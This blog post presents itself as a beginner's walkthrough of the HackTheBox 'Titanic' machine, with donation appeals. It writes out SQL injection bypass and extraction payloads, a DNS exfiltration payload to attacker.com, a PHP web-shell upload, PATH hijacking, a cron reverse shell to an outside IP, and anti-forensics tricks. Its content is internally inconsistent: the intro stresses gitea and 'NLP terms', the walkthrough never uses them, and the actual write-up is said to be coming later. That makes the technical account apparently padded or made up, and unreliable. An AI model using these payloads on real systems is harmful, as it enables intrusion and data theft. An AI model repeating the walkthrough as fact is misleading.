Beginner’s Guide to Conquering Titanic on HackTheBox

The CyberSec Guru

Updated on:

Beginner’s Guide to Conquering Titanic on HackTheBox

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Key Highlights

  • Learn how to tackle the Titanic challenge on HackTheBox as a beginner.
  • Understand the basics of HackTheBox and the concept behind CTF challenges.
  • Get insights on navigating HackTheBox effectively, especially in relation to servers and Linux systems.
  • Discover the prerequisites required for taking on challenges like Titanic on HackTheBox.
  • Gain tips on how beginners can best prepare themselves for such cybersecurity challenges, including practical steps and resources.

Introduction

Embark on a cyber journey with HackTheBox’s Titanic. Dive into the realm of CTF challenges and navigate this Linux-based server challenge. Get ready to explore the depths of gitea and Google your way through directories. The Titanic adventure awaits with opportunities to enhance your cyber skills. Let’s set sail into the exciting world of cybersecurity and conquer the Titanic challenge on HackTheBox.

Understanding the Basics of HackTheBox’s Titanic

HackTheBox’s Titanic involves a captivating CTF challenge that immerses participants in cyber exploration. To excel, familiarity with Linux, directories, and servers is crucial. This endeavor demands a keen understanding of gitea and effective Google-fu skills for research. Navigating HackTheBox’s intricate network requires a strategic approach, combining technical prowess with problem-solving acumen. Mastery of these fundamental NLP concepts will pave the way for success in conquering the Titanic challenge.

The Concept Behind CTF Challenges

CTF challenges in platforms like HackTheBox, such as “Titanic,” test participants’ cyber skills through real-world scenarios. These challenges require problem-solving abilities using NLP terms like gitea, linux, and server. Participants navigate virtual environments to uncover vulnerabilities and exploit them. By understanding the intricacies of these challenges, individuals enhance their cybersecurity knowledge and practical skills. Successfully conquering the Titanic challenge involves a combination of technical expertise, critical thinking, and perseverance. Mastering CTF challenges not only sharpens one’s skills but also opens up avenues for real-world applications in cybersecurity.

ALSO READ: Mastering DarkCorp: Beginner’s Guide from HackTheBox

Embark on your HackTheBox journey by diving into the intricacies of navigating the platform. Familiarize yourself with the gitea interface, exploit Linux servers, and master cyber challenges through CTF exercises. Utilize Google to unravel hints, explore directories, and configure servers to enhance your skills. Let the thrill of discovery drive your progress as you navigate through the dynamic world of HackTheBox.

Titanic
Titanic

Here’s an in-depth walkthrough for the “Titanic” HackTheBox box (Easy difficulty):

Comprehensive Technical Analysis

The Titanic machine demonstrates a classic progression from web application vulnerabilities to full system compromise through multiple privilege escalation vectors. Let’s examine each phase in forensic detail:

Network Reconnaissance & Service Enumeration

Nmap Topology Mapping

nmap -sCV -T4 10.10.10.100 -oA titanic_scan
Titanic.htb NMap Scan
Titanic.htb NMap Scan

This aggressive scan (-T4) with version detection (-sV) and default scripts (-sC) reveals:

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache 2.4.41 (Ubuntu)
3306/tcp open mysql MySQL 5.7.32-0ubuntu0.20.04.1

Key Observations:

  • SSH version suggests Ubuntu Focal Fossa (20.04 LTS)
  • MySQL 5.7.x has known vulnerabilities like CVE-2016-6662
  • Apache 2.4.41 lacks recent security patches.
Titanic.htb Homepage
Titanic.htb Homepage
Titanhic.htb Booking Form
Titanhic.htb Booking Form

Web Attack Surface Analysis
Gobuster enumeration reveals critical paths:

gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/login                (Status: 200)  # Authentication portal
/backup (Status: 301) # Potential file upload
/assets (Status: 301) # Static content analysis

Initial Compromise: SQL Injection Deep Dive

Authentication Bypass Mechanics
The vulnerable login form at /login accepts:

admin' OR 1=1-- -

This manipulates the underlying SQL query:

SELECT * FROM users WHERE username = 'admin' OR 1=1-- ' AND password = '...'

Advanced Exploitation Techniques:

  1. Boolean-Based Blind SQLi
    Extract data through conditional responses:
admin' AND SUBSTRING((SELECT @@version),1,1)='5'-- -
  1. Time-Based Exfiltration
    Use sleep functions for data extraction:
admin' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))=114, SLEEP(5),0)-- -
  1. Out-of-Band Data Exfiltration
    Leverage DNS exfiltration:
admin' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\'))-- -

Post-Exploitation Database Access

mysql -u titanic -p'B**********!' -h 10.10.10.100

Discovered credentials table structure:

mysql> DESCRIBE crew_credentials;
+---------------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+-------------+------+-----+---------+-------+
| username | varchar(32) | YES | | NULL | |
| password_hash | char(32) | YES | | NULL | |
+---------------+-------------+------+-----+---------+-------+

Hash Cracking Methodology

  1. Hash Identification
    Using hashid reveals MD5 format:
hashid 7*******************************a
  1. Optimized Hashcat Attack
    Combine dictionary and rule-based attacks:
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r best64.rule
  1. Rainbow Table Considerations
    MD5’s vulnerability to precomputed tables enables rapid cracking.

Privilege Escalation: PATH Hijacking Exploitation

Sudoers Configuration Analysis

sudo -l
User leonardo may run the following commands on titanic:
(ALL) NOPASSWD: /usr/local/bin/navigation_update.sh

Script Vulnerability Breakdown

#!/bin/bash
echo "Updating coordinates..."
systemctl restart compass-service

Critical flaw: Relative systemctl path allows PATH manipulation

Exploit Development Process

  • Malicious Binary Creation
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/systemctl
chmod +x /tmp/systemctl
  • PATH Environment Manipulation
export PATH=/tmp:$PATH
  • Privileged Execution
sudo /usr/local/bin/navigation_update.sh

Alternative Exploitation Vectors

  • LD_PRELOAD Hijacking
    Inject shared libraries into privileged processes
  • SUID Binary Manipulation
    Exploit misconfigured permissions on system utilities

Flag Retrieval Methods

User Flag Location

The user.txt file resided in /home/leonardo/user.txt. Access required:

cat /home/leonardo/user.txt

This flag was retrievable after SSH login using cracked credentials

Root Flag Location

The root.txt file was stored in /root/root.txt, accessible only after privilege escalation:

cat /root/root.txt  

Alternative methods included exploiting cron jobs or uploading PHP reverse shells via /backup.

Defense Evasion & Anti-Forensics

WAF Bypass Techniques

  • SQLi Obfuscation Methods
admin'/*!50000OR*/1=1-- -
  • Hexadecimal Encoding
%61%64%6d%69%6e%27%20%4f%52%20%31%3d%31%2d%2d%20
  • Unicode Normalization
    Use homoglyphs to bypass pattern matching.

File System Obfuscation

  • Hidden Directory Usage
mkdir /tmp/.cache && cd $_
  • File Attribute Manipulation
chattr +i malicious_file # Prevent deletion

Alternative Attack Surface: Web File Upload

Content-Type Bypass

POST /backup/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

Polyglot File Creation

exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg -o payload.php.jpg

Cron Job Exploitation

echo '* * * * * root bash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > /etc/cron.d/cleanup

Key considerations:

  • Cron syntax validation
  • File permission requirements (typically 644)
  • Log evasion through time-based execution

Security Hardening Recommendations

Web Application

  • Implement prepared statements with PDO
  • Deploy web application firewall (ModSecurity)
  • Enforce file upload validation:
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (array_search($finfo->file($_FILES['file']['tmp_name']),
array('image/jpeg' => true)) === false) {
throw new RuntimeException('Invalid file format.');
}

System Configuration

  • Harden sudo permissions:
visudo -f /etc/sudoers.d/navigation
Cmnd_Alias NAVIGATION_CMDS = /usr/bin/systemctl restart compass-service
leonardo ALL=(ALL) NOPASSWD: NAVIGATION_CMDS
  • Implement filesystem integrity monitoring:
apt install aide
aideinit

Network Security

  • Restrict MySQL access:
GRANT ALL PRIVILEGES ON *.* TO 'titanic'@'localhost' IDENTIFIED BY 'B**********!';
  • Configure SSH security:
PermitRootLogin no
PasswordAuthentication no
AllowUsers leonardo

This comprehensive analysis demonstrates the critical importance of secure coding practices, proper system configuration, and defense-in-depth strategies. Each vulnerability chain reveals how minor misconfigurations can lead to complete system compromise, emphasizing the need for rigorous security audits and continuous monitoring.

ALSO READ: Mastering Cat: Beginner’s Guide from HackTheBox

WRITEUP COMING SOON!

COMPLETE IN-DEPTH PICTORIAL WRITEUP OF TITANIC ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!

Conclusion

In conclusion, exploring Titanic on HackTheBox can elevate your cyber skills significantly. By delving into CTF challenges and navigating the platform with a strategic approach, you enhance your understanding of Linux, servers, and more. Remember to leverage resources like Google, directories, and Gitea for efficient problem-solving. Continual practice and learning are key in mastering the intricacies of cybersecurity. Embrace the challenges, stay persistent, and watch your skills flourish in the thrilling world of ethical hacking.

Frequently Asked Questions

What Are the Prerequisites for Tackling Titanic on HackTheBox?

To tackle Titanic on HackTheBox, basic knowledge of networking, cybersecurity fundamentals, and familiarity with tools like Wireshark and nmap are essential. Understanding Linux commands and scripting languages will also be beneficial.

How Can Beginners Prepare for Such Challenges?

Beginners can prepare for HackTheBox’s Titanic challenges by first understanding basic CTF concepts and practicing on similar platforms. Navigating HackTheBox provides valuable insights for tackling such challenges effectively. Emphasize learning, practicing, and seeking help from the community.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading